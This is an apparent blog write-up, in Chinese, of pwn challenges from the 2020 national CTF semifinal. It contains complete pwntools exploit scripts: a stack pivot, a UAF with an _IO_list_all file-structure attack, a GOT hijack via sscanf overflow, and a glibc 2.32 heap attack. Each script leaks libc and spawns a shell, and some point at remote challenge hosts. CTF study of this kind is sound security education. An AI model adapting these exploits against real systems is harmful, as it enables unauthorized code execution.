2020-国赛半决赛PWN题记录

半决赛day1

pwn1

简单的分析

栈溢出,栈迁移后利用函数打印libc地址,最后system(“/bin/sh”),这个题当时做调试的时候出了些问题,这里有这么几个点:
1.没有用raw_input()暂停。
2.对32位连续调用函数的清空栈的做法不够熟悉了。
3.最后接受打印出的libc地址要使用recvn,不能用recv。

exp

#coding=utf-8
from pwn import *

context.update(arch='amd64',os='linux',log_level="debug")
context.terminal = ['tmux',"split","-h"]

p = process("./nooutput")
elf = ELF("./nooutput")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

leave_ret = 0x08048514
pop_ebp = 0x0804857b
pop_ebx = 0x08048359
pop_3_ret = 0x08048579 # pop esi edi ebp

p.recvuntil("Something:")
payload = "a"*0x100+p32(0x804a160)+p32(0x80484F9)
p.send(payload)
raw_input()

payload2 = "a"*(0x24+0xa0)+p32(elf.plt['puts'])+p32(pop_ebx)+p32(elf.got['puts'])
payload2+= p32(elf.plt['read'])+p32(pop_3_ret)+p32(0)+p32(0x0804aa00)+p32(0x40)
payload2+= p32(pop_ebp)+p32(0x0804aa00-4)+p32(leave_ret)+"/bin/sh\x00"
payload2 = payload2.ljust(0x100,"\x11")
payload2+= p32(0x804a080+0xa0)+p32(leave_ret)

p.send(payload2)
p.recvn(1)
libc.address = u32(p.recvn(4))-libc.sym['puts']
success('libc address == '+hex(libc.address))

raw_input()
payload3 = p32(libc.sym['system'])+p32(0)+p32(libc.search("/bin/sh").next())
p.send(payload3)
p.interactive()

pwn2

简单分析

这道题四个功能:new、edit、show、delete。输入内容有字符限制

漏洞存在于delete时候没有清空造成double free/UAF

思路是利用io file攻击,因为我们看到字符限制的地方是在读入字符串之后,那么意思是在exit之前我们有一次写限制字符的机会。之前调的时候采取改_io_2_1_stdout处,没能成功,学习征哥的博客后知道了思路应该是这样:改_IO_list_all其值为_IO_list_all+8,而后布置fake_io,io的关键check是_flags & 1 != 0以及 _IO_USER_BUF != 0,构造的话,fp+0xe8为system函数地址,fp+0x38为binsh字符串地址,fp+0xd8 = _IO_str_jumps-8。

另外stdout不能改,否则puts会出问题,stderr不能改,因为其fp+0xe8对应到stdout->read_ptr,在puts的时候会被更新,stdin也无法改,因为两个字节改不到

我们详细看看是怎么回事:实际上也是绕过上面的判断:mode<=0,io_write_ptr>io_write_base

这时候会调用vtable处str_jump+0x18,之前是io_overflow但现在我们已经将vtable改为str_jump-0x8的位置,所以它执行的虚函数就不是overflow了,继续看下面:
我们看到这里有个函数调用,实际上就是以fd+0x38为rdi,call fd+0xe8处的函数地址。

exp

#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
se      = lambda data           :p.send(data)
sa      = lambda delim,data     :p.sendafter(delim, data)
sl      = lambda data           :p.sendline(data)
sla     = lambda delim,data     :p.sendlineafter(delim, data)
sea     = lambda delim,data     :p.sendafter(delim, data)
rc      = lambda numb=4096      :p.recv(numb)
rl      = lambda                :p.recvline()
ru      = lambda delims         :p.recvuntil(delims)
uu32    = lambda data           :u32(data.ljust(4, '\x00'))
uu64    = lambda data           :u64(data.ljust(8, '\x00'))
itv     = lambda                :p.interactive()


# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

if debug:
    p = process("./sentencebox")
# p = process('./feedback',env={'LD_PRELOAD':'./libc-2.23.so'})
    elf = ELF("./sentencebox")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./sentencebox")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def create(index,size,content):
    sla("> ","1")
    sla("idx: \n",str(index))
    sla("size: \n",str(size))
    sa("data: \n",content)

def edit(index,content):
    sla("> ","2")
    sla("idx: \n",str(index))
    sa("data: \n",content)

def show(index):
    sla("> ","3")
    sla("idx: \n",str(index))


def delete(index):
    sla("> ","4")
    sla("idx: \n",str(index))

for i in range(8):
    create(i,0xff,"a")

for i in range(1,7):
    delete(i)
delete(0)
delete(0)

show(0)
p.recv(6)
libc.address = u64(p.recv(6).ljust(8,"\x00"))+0x7ffff79e4000-0x7ffff7dcfca0
success("libc ==> "+hex(libc.address))
io_list_all = libc.sym["_IO_list_all"]
libc_base = 0x7ffff79e4000
if io_list_all&0xffff!= 0x6660:
    success("io_list_all ==> "+hex(io_list_all&0xffff))
    p.close()
edit(0,"\x5a\x66")

create(8,0xff,"a")
payload = "\x00"*6+p64(libc.sym["_IO_list_all"]+8)+p64(0xfbad1800)
payload+= p64(0x00007ffff7dd07e3-libc_base+libc.address)*4+p64(0x00007ffff7dd07e4-libc_base+libc.address)
payload+= p64(0x00007ffff7dd07e3-libc_base+libc.address)+p64(libc.search("/bin/sh\x00").next())
payload+= p64(0x00007ffff7dd07e4-libc_base+libc.address)
payload+= p64(0)*4+p64(0x00007ffff7dcfa00-libc_base+libc.address)+p64(0x0000000000000001)
payload+= p64(0xffffffffffffffff)+p64(0x000000000a000000)+p64(0x00007ffff7dd18c0-libc_base+libc.address)
payload+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff7dcf8c0-libc_base+libc.address)+p64(0x0000000000000000)*6
payload+= p64(0x7f51eb8a2360-0x7f51eb4ba000+libc.address-8)+p64(0x00007ffff7dd0680-libc_base+libc.address)
payload+= p64(libc.sym['system'])
gdb.attach(p)
create(9,0xff,payload) # write stdout ,open /proc/sys/kernel/randomize_va_space
p.interactive()

半决赛day2

pwn1

查看文件

GOT可劫持,PIE没开。2.27 题目 考点:整数溢出、sscanf函数功能,劫持got表 ### IDA分析 这道题是模拟计算机的题目,题目流程大致是先输入size,然后输入算式,计算后输出结果:
漏洞存在于size输入0的时候会导致无限溢出。

比赛的时候wz师傅找到这个洞了,发现可以溢出,唯一不知道如何去利用这个漏洞leak libc地址。注意sscanf函数:

从v27以%d的格式读到new_heap_100_602160位置,第一个参数是开始就从算式读取的数字,最后一个地址内容可以通过溢出来修改,那么这两个参数都可控,就可以劫持got表了。

思路

大致是劫持free为printf,在对应的地方伪造格式化字符串打印libc
然后再劫持一次atoi,注意由于数字长度限制,所以我们劫持atoi got表的时候只需要改后面4个字节.

exp

#coding=utf-8
from pwn import *
context.terminal = ['tmux','split','-h']
context.update(arch='amd64',os='linux',log_level='debug')
p = process("./calculator")
elf = ELF("./calculator")
libc = ELF("./libc.so.6")

p.recvuntil("size:\n")

p.sendline(str(0))

p.recvuntil("formula:\n")

payload = str(elf.plt['printf'])+"\x00"
payload = payload.ljust(0x30-4,"1")
payload+= "aaa-%7$p"+p64(elf.got['free'])*2+p64(0x602150)
p.sendline(payload)

p.recvuntil("0x")
libc.address = int(p.recv(12),16)-0x7ffff7dd0760+0x7ffff79e4000
success("libc addr ==> "+hex(libc.address))

p.recvuntil("size:\n")
p.sendline(str(0))

p.recvuntil("formula:\n")
payload = str(libc.sym['system']&0xffffffff-0xa0)+"\x00"
payload = payload.ljust(0x38-4,"1")
payload+= p64(elf.got['atoi'])*2
gdb.attach(p)
p.sendline(payload)

p.recvuntil("size:\n")
p.sendline("/bin/sh")
#gdb.attach(p)

p.interactive()

pwn2

查看文件

stack没开,2.32的一道题目 ### IDA 三个功能:createSmallChunk、createLargeChunk、BuildSomething
下面分别介绍三个功能

createSmallChunk:

createLargeChunk:

我们看到这个功能分配chunk是通过mmap来分配的,成功则进行信息的填充,如果失败则返回。

buildSomething:

这个功能要求输入random num,和其准备的随机数进行比较,但是由于其随机数种子右移三位,所以就可以预测了,我们可以写个程序进行预测这个数据,后面则是带着堆溢出漏洞了。

思路

2.32 fd会进行safe linking,需要和堆地址的<<12异或,所以我们需要得到堆地址。

hijacking hook需要得到libc地址,这下该怎么办呢,wz师傅想到了非常巧妙地方法,mmap结果+size的二分法来找到libc地址和heap地址。当某个地址已分配那么就会失败,通过这个方法找到libc和heap地址。

还有一点是溢出的地方会进行随机数的一个比较,但是随机数种子右移三位,那么其实就是可以预测了,写一个可执行文件,编译后利用python的commands模块来进行获取随机数,来进行溢出。

最后有libc地址和heap地址了,又可以溢出了,那么利用house of orange即可。

exp

#coding=utf-8
from pwn import *
import commands
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

gadgets = [0xc8aaa,0xc8aad,0xc8ab0]
context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./pwn')

def change_ld(binary, ld):
    """
    Force to use assigned new ld.so by changing the binary
    """
    if not os.access(ld, os.R_OK):
        log.failure("Invalid path {} to ld".format(ld))
        return None

    if not isinstance(binary, ELF):
        if not os.access(binary, os.R_OK):
            log.failure("Invalid path {} to binary".format(binary))
            return None
        binary = ELF(binary)

    for segment in binary.segments:
        if segment.header['p_type'] == 'PT_INTERP':
            size = segment.header['p_memsz']
            addr = segment.header['p_paddr']
            data = segment.data()
            if size <= len(ld):
                log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
                return None
            binary.write(addr, ld.ljust(size, '\0'))
            if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
            path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
            if os.access(path, os.F_OK):
                os.remove(path)
                info("Removing exist file {}".format(path))
            binary.save(path)
            os.chmod(path, 0b111000000) #rwx------
    success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
    return ELF(path)
# example

elf = change_ld('./pwn', './ld.so')
#elf = ELF("./pwn")
libc_offset = 0x3c4b20
if debug == 1:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./pwn')
elif debug == 2:
    libc = ELF('./libc.so.6')
    p = process('./pwn',env={'LD_PRELOAD':'./libc.so.6'})
else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def Small(size):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil("How much area do you want: ")
    p.sendline(str(size))

def Large(sz,addr):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.sendlineafter("How much area do you want: ",str(sz))
    p.sendlineafter("place: ",hex(addr)[2:])

def Edit(index,content):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil("Specify the index of your area: ")
    p.sendline(str(index))
    p.sendlineafter("Give me a secret code: ",GetRandNum())
    p.recvuntil("Come and build something: ")
    p.send(content)

def GetRandNum():
    status,output = commands.getstatusoutput("./rand")
    return output.strip("\n")

def GetAddr(start,sz):
    while True:
        Large(sz,start)
        data = ""
        data = p.recvline().strip('\n')
        if data == "Sorry, your preferred place has been taken.":
            #fail the real address is in lower
            sz = sz / 2
            sz = (((sz >> 12)) << 12)
            #print hex(start+sz)+":too big"
        else:
            #success so the real address is higher
            start += sz
            #sz = sz + sz/2
            #sz = (((sz >> 12)) << 12)
            #print hex(start)+":too small"
        if sz == 0:
            break
    return start

def exp():
    #leak proc base
    #gdb.attach(p)
    proc_base = GetAddr(0x0000550000000000,0x13075f29000)
    0x550000000000
    0x13075f29000
    0x55b568119000
    log.success("heap base => " + hex(proc_base))
    #leak heap
    #gdb.attach(p)
    Small(0x100)
    heap_base = GetAddr(proc_base+0x5000,0x13724000)
    log.success("heap base => " + hex(heap_base))
    #leak libc
    libc_base =GetAddr(0x00007f0000000000,0x803774f000)+0x2000
    log.success("libc_base => " + hex(libc_base))
    #UAF
    Small(0x18)
    p.recvuntil("Done, Index is ")
    idx = int(p.recvuntil(".",drop=True))
    #raw_input()
    print hex(idx)
    raw_input()
    #gdb.attach(p)
    Edit(idx,'\x00'*0x18+p64(0xc41))
    raw_input()
    Small(0xbc0)#idx1+1
    gdb.attach(p)
    Small(0x200)#idx1+2
    #gdb.attach(p)

    #two
    Edit(idx+2,'\x00'*0x208+p64(0xdf1)+"\n")
    raw_input()
    Small(0xd70)#idx+3
    Small(0x200)#idx+4
    libc.address = libc_base

    shell_addr = libc_base+gadgets[0]
    success("shell addr ==> "+hex(shell_addr))
    #gdb.attach(p)
    Edit(idx+3,'\x00'*0xd78+p64(0x51)+p64((libc.sym['__malloc_hook'])^((heap_base+0x21fa0)>>12))+p64(heap_base+0x10))
    #gdb.attach(p)
    Small(0x48)#idx+5

    Small(0x48)#idx+6
    realloc = libc.sym['realloc']
    print hex(shell_addr)
    raw_input()
    Large(0x1000,0x10000)#idx+7
    Edit(idx+7,"/bin/sh\x00")

    Edit(idx+6,p64(libc.sym['system']))
    #gdb.attach(p)
    Small(0x10000)
    p.interactive()
exp()

 Previous
php-pwn环境搭建及一个小demo php-pwn环境搭建及一个小demo
php拓展模块开发我们开发的是一个漏洞函数,为了后面进行调试 环境搭建本机的环境是Ubuntu18.04,我们使用下面的命令来简单的搭建开发环境 安装php,以及php开发包头 $> sudo apt install php php
2020-10-09
Next 
2020-国赛初赛PWN题记录 2020-国赛初赛PWN题记录
easybox思路考点:IO leak、off by one、2.23 堆溢出,off by one,没有show功能,和蓝帽杯一道题只是换成了2.23。思路是将一个chunk同时释放到unsorted bin和fastbin 0x70那条
2020-09-24
  TOC